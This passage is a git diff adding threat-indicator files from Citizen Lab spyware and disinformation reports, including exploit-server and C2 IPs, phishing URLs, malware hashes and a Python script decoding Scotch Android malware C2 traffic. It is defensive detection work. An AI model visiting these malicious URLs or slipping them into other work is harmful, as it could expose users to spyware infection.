Payload delivery: arabworld.biz (MISP Attribute #18364) + + + + + arabworld.biz + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: daily-sport.news (MISP Attribute #18365) + Malware Artifacts + Domain Watchlist + Payload delivery: daily-sport.news (MISP Attribute #18365) + + + + + daily-sport.news + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: dinneraroundyou.com (MISP Attribute #18366) + Malware Artifacts + Domain Watchlist + Payload delivery: dinneraroundyou.com (MISP Attribute #18366) + + + + + dinneraroundyou.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: findmyplants.com (MISP Attribute #18367) + Malware Artifacts + Domain Watchlist + Payload delivery: findmyplants.com (MISP Attribute #18367) + + + + + findmyplants.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: housesfurniture.com (MISP Attribute #18368) + Malware Artifacts + Domain Watchlist + Payload delivery: housesfurniture.com (MISP Attribute #18368) + + + + + housesfurniture.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: kingdom-deals.com (MISP Attribute #18369) + Malware Artifacts + Domain Watchlist + Payload delivery: kingdom-deals.com (MISP Attribute #18369) + + + + + kingdom-deals.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: kingdom-news.com (MISP Attribute #18370) + Malware Artifacts + Domain Watchlist + Payload delivery: kingdom-news.com (MISP Attribute #18370) + + + + + kingdom-news.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: mideast-today.com (MISP Attribute #18371) + Malware Artifacts + Domain Watchlist + Payload delivery: mideast-today.com (MISP Attribute #18371) + + + + + mideast-today.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: muslim-world.info (MISP Attribute #18372) + Malware Artifacts + Domain Watchlist + Payload delivery: muslim-world.info (MISP Attribute #18372) + + + + + muslim-world.info + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: news-gazette.info (MISP Attribute #18373) + Malware Artifacts + Domain Watchlist + Payload delivery: news-gazette.info (MISP Attribute #18373) + + + + + news-gazette.info + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: nouvelles247.com (MISP Attribute #18374) + Malware Artifacts + Domain Watchlist + Payload delivery: nouvelles247.com (MISP Attribute #18374) + + + + + nouvelles247.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: promosdereve.com (MISP Attribute #18375) + Malware Artifacts + Domain Watchlist + Payload delivery: promosdereve.com (MISP Attribute #18375) + + + + + promosdereve.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: social-life.info (MISP Attribute #18376) + Malware Artifacts + Domain Watchlist + Payload delivery: social-life.info (MISP Attribute #18376) + + + + + social-life.info + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: sunday-deals.com (MISP Attribute #18377) + Malware Artifacts + Domain Watchlist + Payload delivery: sunday-deals.com (MISP Attribute #18377) + + + + + sunday-deals.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: wonderfulinsights.com (MISP Attribute #18378) + Malware Artifacts + Domain Watchlist + Payload delivery: wonderfulinsights.com (MISP Attribute #18378) + + + + + wonderfulinsights.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + + + Event Threat Level: High + + + MISP Tag: SOURCE:CITIZENLAB + + + MISP Tag: DETECT + + + MISP Tag: PUBLISHED + + + MISP Tag: TLP:WHITE + + + + + citizenlab + + + + + ../../../descendant-or-self::node() + + + + + + + + + diff --git a/data/ioc/spyware/citizen_lab/201905_EndlessMayfly/README.md b/data/ioc/spyware/citizen_lab/201905_EndlessMayfly/README.md new file mode 100644 index 0000000..1e6b4f2 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201905_EndlessMayfly/README.md @@ -0,0 +1,3 @@ +# Burned After Reading: Endless Mayfly’s Ephemeral Disinformation Campaign + +Indicators for the campaign "[Burned After Reading: Endless Mayfly’s Ephemeral Disinformation Campaign](https://citizenlab.ca/2019/05/burned-after-reading-endless-mayflys-ephemeral-disinformation-campaign/)" published by the Citizen Lab diff --git a/data/ioc/spyware/citizen_lab/201905_EndlessMayfly/iocs.csv b/data/ioc/spyware/citizen_lab/201905_EndlessMayfly/iocs.csv new file mode 100644 index 0000000..cc90dff --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201905_EndlessMayfly/iocs.csv @@ -0,0 +1,8 @@ +uuid,event_id,category,type,value,comment,to_ids,date,object_relation,attribute_tag,object_uuid,object_name,object_meta_category +"5cd56487-0b50-4e81-b7eb-651f0a14d415",138,"Payload delivery","md5","5b920c6cd1d8de54463f07965b8c43f3","",0,1557488775,"","","","","" +"5cd56487-b340-4b92-a378-651f0a14d415",138,"Payload delivery","md5","07d495245814c5c4996422b4b2f52473","",0,1557488775,"","","","","" +"5cd56487-4424-4859-99b3-651f0a14d415",138,"Payload delivery","md5","8522c77e48c846c2c026b6e16501a3b2","",0,1557488775,"","","","","" +"5cd56487-a880-4c60-a6f0-651f0a14d415",138,"Payload delivery","md5","bc31493e996db7fe45b7ed7aaa51fd54","",0,1557488775,"","","","","" +"5cd564a2-e098-43bc-8cd6-65920a14d415",138,"Network activity","ip-dst","217.182.54.223","",0,1557488802,"","","","","" +"5cd564a2-7c6c-46b2-acb4-65920a14d415",138,"Network activity","ip-dst","51.255.101.144","",0,1557488802,"","","","","" + diff --git a/data/ioc/spyware/citizen_lab/201905_EndlessMayfly/iocs.ioc b/data/ioc/spyware/citizen_lab/201905_EndlessMayfly/iocs.ioc new file mode 100644 index 0000000..afb0552 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201905_EndlessMayfly/iocs.ioc @@ -0,0 +1,37 @@ + + + Event #138 + Burned After Reading: Endless Mayfly’s Ephemeral Disinformation Campaign (5cd56458-a1b0-4129-8649-64d90a14d415) + + MAIN + 2019-05-10T00:00:00 + + + + + + 5b920c6cd1d8de54463f07965b8c43f3 + + + + 07d495245814c5c4996422b4b2f52473 + + + + 8522c77e48c846c2c026b6e16501a3b2 + + + + bc31493e996db7fe45b7ed7aaa51fd54 + + + + 217.182.54.223 + + + + 51.255.101.144 + + + + diff --git a/data/ioc/spyware/citizen_lab/201905_EndlessMayfly/iocs.json b/data/ioc/spyware/citizen_lab/201905_EndlessMayfly/iocs.json new file mode 100644 index 0000000..3213e2c --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201905_EndlessMayfly/iocs.json @@ -0,0 +1 @@ +{"response": [{"Event":{"id":"138","orgc_id":"1","org_id":"1","date":"2019-05-10","threat_level_id":"2","info":"Burned After Reading: Endless Mayfly\u2019s Ephemeral Disinformation Campaign","published":true,"uuid":"5cd56458-a1b0-4129-8649-64d90a14d415","attribute_count":"6","analysis":"2","timestamp":"1557488802","distribution":"1","proposal_email_lock":false,"locked":false,"publish_timestamp":"1557488829","sharing_group_id":"0","disable_correlation":false,"extends_uuid":"","event_creator_email":"tek@randhome.io","Org":{"id":"1","name":"MAIN","uuid":"5bd8e936-9bd4-4da2-8837-04067fcbd4ab"},"Orgc":{"id":"1","name":"MAIN","uuid":"5bd8e936-9bd4-4da2-8837-04067fcbd4ab"},"Attribute":[{"id":"16779","type":"md5","category":"Payload delivery","to_ids":false,"uuid":"5cd56487-0b50-4e81-b7eb-651f0a14d415","event_id":"138","distribution":"5","timestamp":"1557488775","comment":"","sharing_group_id":"0","deleted":false,"disable_correlation":false,"object_id":"0","object_relation":null,"value":"5b920c6cd1d8de54463f07965b8c43f3","Galaxy":[],"ShadowAttribute":[]},{"id":"16780","type":"md5","category":"Payload delivery","to_ids":false,"uuid":"5cd56487-b340-4b92-a378-651f0a14d415","event_id":"138","distribution":"5","timestamp":"1557488775","comment":"","sharing_group_id":"0","deleted":false,"disable_correlation":false,"object_id":"0","object_relation":null,"value":"07d495245814c5c4996422b4b2f52473","Galaxy":[],"ShadowAttribute":[]},{"id":"16781","type":"md5","category":"Payload delivery","to_ids":false,"uuid":"5cd56487-4424-4859-99b3-651f0a14d415","event_id":"138","distribution":"5","timestamp":"1557488775","comment":"","sharing_group_id":"0","deleted":false,"disable_correlation":false,"object_id":"0","object_relation":null,"value":"8522c77e48c846c2c026b6e16501a3b2","Galaxy":[],"ShadowAttribute":[]},{"id":"16782","type":"md5","category":"Payload delivery","to_ids":false,"uuid":"5cd56487-a880-4c60-a6f0-651f0a14d415","event_id":"138","distribution":"5","timestamp":"1557488775","comment":"","sharing_group_id":"0","deleted":false,"disable_correlation":false,"object_id":"0","object_relation":null,"value":"bc31493e996db7fe45b7ed7aaa51fd54","Galaxy":[],"ShadowAttribute":[]},{"id":"16783","type":"ip-dst","category":"Network activity","to_ids":false,"uuid":"5cd564a2-e098-43bc-8cd6-65920a14d415","event_id":"138","distribution":"5","timestamp":"1557488802","comment":"","sharing_group_id":"0","deleted":false,"disable_correlation":false,"object_id":"0","object_relation":null,"value":"217.182.54.223","Galaxy":[],"ShadowAttribute":[]},{"id":"16784","type":"ip-dst","category":"Network activity","to_ids":false,"uuid":"5cd564a2-7c6c-46b2-acb4-65920a14d415","event_id":"138","distribution":"5","timestamp":"1557488802","comment":"","sharing_group_id":"0","deleted":false,"disable_correlation":false,"object_id":"0","object_relation":null,"value":"51.255.101.144","Galaxy":[],"ShadowAttribute":[]}],"ShadowAttribute":[],"RelatedEvent":[],"Galaxy":[],"Object":[]}}]} diff --git a/data/ioc/spyware/citizen_lab/201905_EndlessMayfly/stix.xml b/data/ioc/spyware/citizen_lab/201905_EndlessMayfly/stix.xml new file mode 100644 index 0000000..58e9bec --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201905_EndlessMayfly/stix.xml @@ -0,0 +1,172 @@ + + + Export from ORGNAME MISP + Threat Report + + + + + + Export from ORGNAME MISP + Threat Report + + + + Burned After Reading: Endless Mayfly’s Ephemeral Disinformation Campaign + 138 + + 2019-05-10T00:00:00 + 2019-05-10T11:47:09 + + + + MAIN + + + Closed + + + Payload delivery + + + + + + MD5 + 5b920c6cd1d8de54463f07965b8c43f3 + + + + + + + + Payload delivery + + + + + + MD5 + 07d495245814c5c4996422b4b2f52473 + + + + + + + + Payload delivery + + + + + + MD5 + 8522c77e48c846c2c026b6e16501a3b2 + + + + + + + + Payload delivery + + + + + + MD5 + bc31493e996db7fe45b7ed7aaa51fd54 + + + + + + + + Network activity + + + + 217.182.54.223 + + + + + + Network activity + + + + 51.255.101.144 + + + + + + + + Event Threat Level: Medium + + + MISP Tag: misp:tool="misp2stix" + + + + + MAIN + + + + + + + + diff --git a/data/ioc/spyware/citizen_lab/201909_MissingLink/README.md b/data/ioc/spyware/citizen_lab/201909_MissingLink/README.md new file mode 100644 index 0000000..bba941c --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201909_MissingLink/README.md @@ -0,0 +1,4 @@ +# MISSING LINK: Tibetan Groups Targeted with Mobile Exploits + +Indicators for the campaign "[MISSING LINK: Tibetan Groups Targeted with Mobile Exploits](https://citizenlab.ca/2019/09/poison-carp-tibetan-groups-targeted-with-1-click-mobile-exploits)" published by the Citizen Lab + diff --git a/data/ioc/spyware/citizen_lab/201909_MissingLink/decode_scotch_c2_communications.py b/data/ioc/spyware/citizen_lab/201909_MissingLink/decode_scotch_c2_communications.py new file mode 100644 index 0000000..0ad37c7 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201909_MissingLink/decode_scotch_c2_communications.py @@ -0,0 +1,137 @@ +#!/usr/bin/env python3 +""" +Python script decoding network capture of the Scotch malware C2 communications +""" +__author__ = "Etienne Maynier" +__license__ = "MIT" + +import base64 +import pyshark +from io import BytesIO +import gzip +import json +import argparse + +COMMANDS = { + -1: "VOID", + 0: "OFFLINE", + 1: "ONLINE", + 2: "DEV_INFO", + 3: "GET_PLUGIN_INFO", + 4: "GET_CALLLOG", + 5: "GET_CONTACT", + 6: "GET_LOCATION", + 7: "GET_SMS", + 8: "GET_FILE", + 9: "CLEAR", + 10: "SHELL", + 11: "NOTIFICATION", + 12: "CAMERA", + 13: "RECORD", + 14: "SCREEN_SNAP" +} + +ERRORS = { + -1 : "UNKNOW", + 0: "SUCCESS", + 1: "SERVER_ERROR", + 2: "PLUGIN_DATA_NOT_FOUND", + 3: "PLUGIN_NO_NEED_UPDATE", + 4: "COMMAND_NOT_MATCH", + 5: "CONTEXT_NOT_FOUND", + 6: "GET_WHISKY_ID_FAILED", + 7: "GET_DEVICE_ID_FAILED", + 8: "COMMAND_TYPE_NOT_REGISTERED", + 9: "PERMISION_NOT_GRANTED", + 10: "CONTENT_RESOLVER_CURSOR_EXCEPTION", + 11: "CONTENT_RESOLVER_CURSOR_NULL_OR_ZERO", + 12: "CONTENT_RESOLVER_CURSOR_GET_EXCEPTION", + 13: "GET_ACTIVITY_FAILED", + 14: "OBSERVER_ALREADY_REGISTER", + 15: "OBSERVER_ALREADY_UNREGISTER", + 16: "GET_DEVICE_INFO_FAILED", + 17: "GET_SMS_FAILED", + 18: "GET_SMS_TO_JSON_FAILED", + 19: "GET_CONTACT_FAILED", + 20: "GET_CONTACT_TO_JSON_FAILED", + 21: "GET_CALLLOG_FAILED", + 22: "GET_CALLLOG_TO_JSON_FAILED", + 23: "GET_LOCATION_FAILED", + 24: "GET_LOCATION_TO_JSON_FAILED", + 25: "GET_LOCATION_SERVICE_FAILED", + 26: "GPS_PROVIDER_NOT_ENABLE", + 27: "NETWORK_PROVIDER_NOT_ENABLE", + 28: "FETCH_FILE_NO_PATH_SUBCMD", + 29: "FETCH_FILE_NO_SUCH_FILE", + 30: "FETCH_FILE_READ_FILE_FAILED", + 31: "FETCH_FILE_NO_READ_PERMISSION", + 32: "FETCH_FILE_TO_LARGE", + 33: "UPLOAD_FILE_FAILED", + 34: "LIST_DIR_NO_PATH_SUBCMD", + 35: "LIST_DIR_NOT_EXIST", + 36: "LIST_DIR_IS_NOT_DIR", + 37: "LIST_DIR_NO_READ_PERMISSION", + 38: "UPDATE_FILE_NO_FORCE_SUBCMD", + 39: "UPDATE_FILE_NO_PATH_SUBCMD", + 40: "UPDATE_FILE_NO_MODIFY_SUBCMD", + 41: "UPDATE_FILE_NO_SHA256_SUBCMD", + 42: "UPDATE_FILE_NO_SUCH_FILE", + 43: "UPDATE_FILE_READ_FILE_FAILED", + 44: "UPDATE_FILE_NO_READ_PERMISSION", + 45: "UPDATE_FILE_TO_LARGE", + 46: "UPDATE_FILE_NO_NEED_UPDATE", + 47: "UPDATE_FILE_CALC_SHA256_FAILED", + 48: "UPDATE_FILE_NO_SUCH_SUBCMD", + 49: "GET_PACKAGE_NAME_FAILED", + 50: "GET_REPLACE_SO_PATH_FAILED", + 51: "CLEAR_SOME_FILE_FAILED", + 52: "CLEAR_NO_IS_ALL_ARGUMENT", + 53: "CLEAR_RETURN_TO_JSON_FAILED", + 54: "GET_SHELL_RESULT_FAILED", + 55: "GET_CAMERA_FEATURE_FAILED", + 56: "GET_CAMERA_JSON_FAILED", + 57: "GET_CAMERA_PREVIEW_FAILED", + 58: "GET_CAMERA_SNAP_TO_FILE_FAILED", + 59: "SEND_SMS_GENERIC_FAILURE", + 60: "SEND_SMS_RADIO_OFF", + 61: "SEND_SMS_NULL_PDU", + 62: "SEND_SMS_NO_SERVER", + 63: "SEND_SMS_CODE_ERROR", + 64: "GET_RECORD_TO_FILE_FALIED", + 65: "GET_RECORD_TIME_TOO_LONG_FAILED", + 66: "GET_RECORD_RECORDING_FAILED", + 67: "SCREEN_SNAP_IN_HOST_FAILED", + 68: "SCREEN_SNAP_CREATE_BITMAP_FAILED", + 69: "SCREEN_SNAP_OUT_HOST_FAILED", + 70: "SCREEN_SNAP_GET_MEDIA_PROJECTION_FAILED", + 71: "PLUGIN_LOAD_FAILED", + 72: "PLUGIN_DOWNLOAD_FAILED" +} + + +def decode(data): + d = base64.b64decode(data) + return gzip.GzipFile(fileobj=BytesIO(d)).read() + + +if __name__ == '__main__': + parser = argparse.ArgumentParser(description='Scotch Whisky C2 communications') + parser.add_argument('PCAP') + args = parser.parse_args() + + cap = pyshark.FileCapture(args.PCAP) + + for p in cap: + if 'DATA-TEXT-LINES' in p: + # pyshark bug here when there are multiple lines + # Ugly, but the world is ugly + data = str(p['DATA-TEXT-LINES'])[24:].replace('\n', '').replace('\t', '').replace("\\n", '') + if "[truncated]" in data: + # Even worse :o + data = bytearray.fromhex(p.tcp.payload.replace(':', ''))[4:].decode('utf-8') + cleartext = decode(data) + js = json.loads(cleartext) + if p.tcp.dstport == "10011": + print("CLIENT -> SERVER : {:15s} | {:27s} -> [{}]".format(COMMANDS[js['cmd_type']], ERRORS[js['error']], js['data'] if 'data' in js else '')) + else: + print("SERVER -> CLIENT : {:15s} | {:27s} -> [{}]".format(COMMANDS[js['cmd_type']], ERRORS[js['error']], js['data'] if 'data' in js else '')) diff --git a/data/ioc/spyware/citizen_lab/201909_MissingLink/iocs.csv b/data/ioc/spyware/citizen_lab/201909_MissingLink/iocs.csv new file mode 100644 index 0000000..a2978b7 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201909_MissingLink/iocs.csv @@ -0,0 +1,72 @@ +uuid,event_id,category,type,value,comment,to_ids,date +5bec8d6d-6cc8-4aef-b8c9-171c8064ab0b,140,Network activity,domain,"msap.services","",1,20181114 +5bec8d6d-71e0-40b6-add8-171c8064ab0b,140,Network activity,domain,"www.msap.services","",1,20181114 +5bec8d7b-b658-4050-8b3c-45cc8064ab0b,140,Network activity,ip-dst,"144.202.59.23","iOS exploit server",1,20190920 +5bed8343-d968-4c72-a106-2b328064ab0b,140,Network activity,ip-dst,"66.42.58.59","iOS C2",1,20190920 +5bed84bf-8710-4cba-b9eb-05688064ab0b,140,Network activity,ip-dst,"43.251.16.87","",1,20181115 +5d76c6d3-0658-494c-afb4-61de8064ab0b,140,Network activity,url,"http://www.msap.services/S5gDoN","",0,20190909 +5d76c6d3-0d28-4b27-9ac6-61de8064ab0b,140,Network activity,url,"http://bit.ly/2B4GwEf","",0,20190909 +5d76c6d3-1170-4f0e-ade3-61de8064ab0b,140,Network activity,url,"http://www.msap.services/EzpOhU","",0,20190909 +5d76c6d3-14c4-4b77-85be-61de8064ab0b,140,Network activity,url,"http://bit.ly/2AYy61a","",0,20190909 +5d76c6d3-1708-4847-8b18-61de8064ab0b,140,Network activity,url,"http://news.cmitcsubs.tk:5000/web/info?org=aHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL29wZW4/aWQ9MUlTakl2eFoxX1g5YkdJSnQtMlpKeDRDRWwzdVVhRmlv","",0,20190909 +5d76c6d3-2150-4f97-80c4-61de8064ab0b,140,Network activity,url,"http://msap.services/yHJbS6","",0,20190909 +5d76c6d3-2f9c-40b2-8cd5-61de8064ab0b,140,Network activity,url,"http://www.msap.services/70FtQX","",0,20190909 +5d76c6d3-578c-4a96-88fe-61de8064ab0b,140,Network activity,url,"http://bit.ly/2PSvdau","",0,20190909 +5d76c6d3-5824-4b00-8dda-61de8064ab0b,140,Network activity,url,"http://suo.im/5okeFb","",0,20190909 +5d76c6d3-7058-403d-a9b1-61de8064ab0b,140,Network activity,url,"http://www.msap.services/GfHuRi","",0,20190909 +5d76c6d3-8604-4125-b369-61de8064ab0b,140,Network activity,url,"http://www.msap.services/XgL5A9","",0,20190909 +5d76c6d3-8624-44df-8338-61de8064ab0b,140,Network activity,url,"http://bit.ly/2T2CoeX","",0,20190909 +5d76c6d3-936c-411b-a0c9-61de8064ab0b,140,Network activity,url,"http://bit.ly/2QroNMt","",0,20190909 +5d76c6d3-a174-4130-a62c-61de8064ab0b,140,Network activity,url,"http://www.msap.services/6FeBOy","",0,20190909 +5d76c6d3-a530-4671-8fab-61de8064ab0b,140,Network activity,url,"http://bit.ly/2SVPqdY","",0,20190909 +5d76c6d3-b644-45e2-a9d7-61de8064ab0b,140,Network activity,url,"http://www.msap.services/1R7mqD","",0,20190909 +5d76c6d3-b878-442a-b476-61de8064ab0b,140,Network activity,url,"http://bit.ly/2z1WayM","",0,20190909 +5d76c6d3-b8ec-438c-8161-61de8064ab0b,140,Network activity,url,"http://news.cmitcsubs.tk:5000/web/info?org=aHR0cHM6Ly93d3cubnl0aW1lcy5jb20vMjAxOC8xMS8wMi9vYml0dWFyaWVzL2xvZGktZ3lhcmktZGVhZC5odG1s","",0,20190909 +5d76c6d3-bb64-4b8d-b773-61de8064ab0b,140,Network activity,url,"http://www.msap.services/yHJbS6","",0,20190909 +5d76c6d3-bd08-4528-9fab-61de8064ab0b,140,Network activity,url,"http://www.msap.services/F8XGNe","",0,20190909 +5d76c6d3-ce00-497f-9284-61de8064ab0b,140,Network activity,url,"http://suo.im/5ot25j","",0,20190909 +5d76c6d3-d218-49a3-96f3-61de8064ab0b,140,Network activity,url,"http://bit.ly/2qHg3Xt","",0,20190909 +5d76c6d3-f8f0-4399-a2ae-61de8064ab0b,140,Network activity,url,"http//www.msap.services/2bKr8Z","",0,20190909 +5d76c6d4-0854-4d51-8fb7-61de8064ab0b,140,Network activity,url,"http://www.msap.services/ZpzstM","",0,20190909 +5d76c6d4-12f0-4f58-9a9b-61de8064ab0b,140,Network activity,url,"http://www.msap.services/ZQfqzs","",0,20190909 +5d76c6d4-2fb8-46f2-a589-61de8064ab0b,140,Network activity,url,"http://bit.ly/2Drl90q","",0,20190909 +5d76c6d4-3b64-4591-b0df-61de8064ab0b,140,Network activity,url,"http://45.76.149.154:5000/web/info?org=aHR0cDovL3d3dy5waGF5dWwuY29tL25ld3MvYXJ0aWNsZS5hc3B4P2lkPTQxNDc0JmZiY2xpZD1Jd0FSM1RadGdjanppUkhNZFJuOEdhZ1RMUV9iMHFrX0VBZWY2YldxRU5SanhaZkkzRFdPNFpsRExPcFdz","",0,20190909 +5d76c6d4-52b4-413f-bf04-61de8064ab0b,140,Network activity,url,"https://www.energy-mail.org/B20V54","",0,20190909 +5d76c6d4-7398-45b0-b5e9-61de8064ab0b,140,Network activity,url,"http://bit.ly/2T6pCMf","",0,20190909 +5d76c6d4-c2a8-4ee3-bf3d-61de8064ab0b,140,Network activity,url,"https://bit.ly/2MgSRwL","",0,20190909 +5d76c6d4-dde0-484e-ac13-61de8064ab0b,140,Network activity,url,"https://bit.ly/2XePmYt","",0,20190909 +5d76c70f-df94-4cd0-b977-4cea8064ab0b,140,Network activity,domain,"www.energy-mail.org","",1,20190909 +5d76c730-b4c0-4746-af7e-61db8064ab0b,140,Network activity,url,"http://43.251.16.87:5000//dev/loader","",0,20190909 +5d76c7a0-2dac-4e65-a0ca-67208064ab0b,140,Network activity,ip-dst,"45.32.75.217","",1,20190909 +5d76c7a0-3c28-4110-aa88-67208064ab0b,140,Network activity,ip-dst,"45.76.149.154","Android exploit server",1,20190920 +5d76c98c-0998-4c3d-94fa-61de8064ab0b,140,Network activity,domain,"bf.mk","",1,20190909 +5d76c98c-0cb4-4be5-b3d6-61de8064ab0b,140,Network activity,domain,"rf.mk","",1,20190909 +5d76c98c-1b78-4933-98f8-61de8064ab0b,140,Network activity,domain,"mailcontactanalysis.online","",1,20190909 +5d76c98c-3358-4897-a52b-61de8064ab0b,140,Network activity,domain,"mailnotes.online","",1,20190909 +5d76c98c-52b4-4bb9-b61b-61de8064ab0b,140,Network activity,domain,"mailanalysis.services","",1,20190909 +5d76c98c-6be4-4b4a-9a37-61de8064ab0b,140,Network activity,domain,"polarismail.services","",1,20190909 +5d76c98c-77cc-4a32-b989-61de8064ab0b,140,Network activity,domain,"energy-mail.org","",1,20190909 +5d76c98c-8960-4e6c-be1c-61de8064ab0b,140,Network activity,domain,"izelense.com","",1,20190909 +5d76c98c-95a0-4186-9d08-61de8064ab0b,140,Network activity,domain,"antmoving.online","",1,20190909 +5d76c98c-a620-4e86-969b-61de8064ab0b,140,Network activity,domain,"gmailapp.me","",1,20190909 +5d76c98c-be94-4716-9cc3-61de8064ab0b,140,Network activity,domain,"beemail.online","",1,20190909 +5d76c98c-f230-436d-a69f-61de8064ab0b,140,Network activity,domain,"walkingnote.online","",1,20190909 +5d76c9b2-5654-4b42-a28f-61dc8064ab0b,140,Attribution,whois-registrant-email,"ornaments798@outlook.com","",0,20190909 +5d76c9b2-8b24-4fb2-8ff3-61dc8064ab0b,140,Attribution,whois-registrant-email,"dashenqu832@outlook.com","",0,20190909 +5d76cc33-7aac-4eb8-a1be-66c48064ab0b,140,Network activity,ip-dst,"45.78.79.100","",1,20190909 +5d76cf56-94f8-4a16-84d5-67af8064ab0b,140,Network activity,ip-dst,"149.28.93.11","",1,20190909 +5d76d19b-0704-42fa-95c5-61df8064ab0b,140,Network activity,ip-dst,"95.169.2.57","",1,20190909 +5d76d6f2-f44c-4b21-ba2d-67578064ab0b,140,Network activity,ip-dst,"206.189.65.198","",1,20190909 +5d76dae6-bdc4-4cca-8161-61de8064ab0b,140,Network activity,ip-dst,"140.82.17.222","",1,20190909 +5d76dcf6-f094-47a0-8fd4-4cea8064ab0b,140,Network activity,ip-dst,"45.76.53.26","",1,20190909 +5d76de15-2544-4f39-baed-61db8064ab0b,140,Network activity,ip-dst,"45.32.91.137","",1,20190909 +5d76dfaf-574c-4253-b1f1-67578064ab0b,140,Artifacts dropped,sha256,"0d2ee9ade24163613772fdda201af985d852ab506e3d3e7f07fb3fa8b0853560","iOS payload",1,20190909 +5d76e2eb-37c8-4b75-b5d7-67578064ab0b,140,Payload delivery,email-src,"touchxun658@gmail.com","OAuth email addresses",0,20190909 +5d76e2eb-abe8-44bb-8dbf-67578064ab0b,140,Payload delivery,email-src,"antmoving.online@gmail.com","OAuth email addresses",0,20190909 +5d76e2eb-df2c-4913-b458-67578064ab0b,140,Payload delivery,email-src,"energymail.org@gmail.com","OAuth email addresses",0,20190909 +5d76e2eb-e004-41d8-bc9d-67578064ab0b,140,Payload delivery,email-src,"jameslewis199106@gmail.com","OAuth email addresses",0,20190909 +5d8545bf-ec98-4d0c-a8a3-55038064ab0b,140,Payload delivery,sha256,"6977e6098815cd91016be9d76f194ed4622640d03c6cdd66b1032306a2190af7","libbourbon",0,20190920 +5d8545d4-ee30-435b-827e-55078064ab0b,140,Payload delivery,sha256,"e510c361c8101384277dd95cc2c8e76715dd241f58553f592245b620422beaf3","Whisky",0,20190920 +5d8545e3-c264-43d8-9666-55068064ab0b,140,Payload delivery,sha256,"0d13e403303b52edae6beb76a6fe7ed454f340aae1246b9a3f55ca728da2d6aa","Scotch",0,20190920 +5d854603-8bf4-44fe-96ae-47ce8064ab0b,140,Payload delivery,sha256,"b85fe634f3c5b1022a1adbc21f3b85b58451ca2b89e9380fc5f22b9340a18b88","Loader",0,20190920 +5d892cd4-fba0-4c21-90d9-0b328064ab0b,140,Network activity,user-agent,"hots scot","Scotch user agent",1,20190923 diff --git a/data/ioc/spyware/citizen_lab/201909_MissingLink/misp.json b/data/ioc/spyware/citizen_lab/201909_MissingLink/misp.json new file mode 100644 index 0000000..e08fb9c --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201909_MissingLink/misp.json @@ -0,0 +1,1171 @@ +{"response":[{ + "Event": { + "id": "140", + "orgc_id": "2", + "org_id": "2", + "date": "2019-09-24", + "threat_level_id": "1", + "info": "MISSING LINK: Tibetan Groups Targeted with Mobile Exploits", + "published": true, + "uuid": "5bec8d43-b990-4129-a9f4-45d08064ab0b", + "attribute_count": "71", + "analysis": "1", + "timestamp": "1569271112", + "distribution": "1", + "proposal_email_lock": false, + "locked": false, + "publish_timestamp": "1569271150", + "sharing_group_id": "0", + "Org": { + "id": "2", + "name": "citizenlab", + "uuid": "581b5fea-818c-441a-bd1d-49798e96ca05" + }, + "Orgc": { + "id": "2", + "name": "citizenlab", + "uuid": "581b5fea-818c-441a-bd1d-49798e96ca05" + }, + "Attribute": [ + { + "id": "18567", + "type": "sha256", + "category": "Artifacts dropped", + "to_ids": true, + "uuid": "5d76dfaf-574c-4253-b1f1-67578064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568072031", + "comment": "iOS payload", + "sharing_group_id": "0", + "deleted": false, + "value": "0d2ee9ade24163613772fdda201af985d852ab506e3d3e7f07fb3fa8b0853560", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18558", + "type": "whois-registrant-email", + "category": "Attribution", + "to_ids": false, + "uuid": "5d76c9b2-8b24-4fb2-8ff3-61dc8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065970", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "dashenqu832@outlook.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18559", + "type": "whois-registrant-email", + "category": "Attribution", + "to_ids": false, + "uuid": "5d76c9b2-5654-4b42-a28f-61dc8064ab0b", + "event_id": "140", + "distribution": "5", + "timestamp": "1568065970", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": 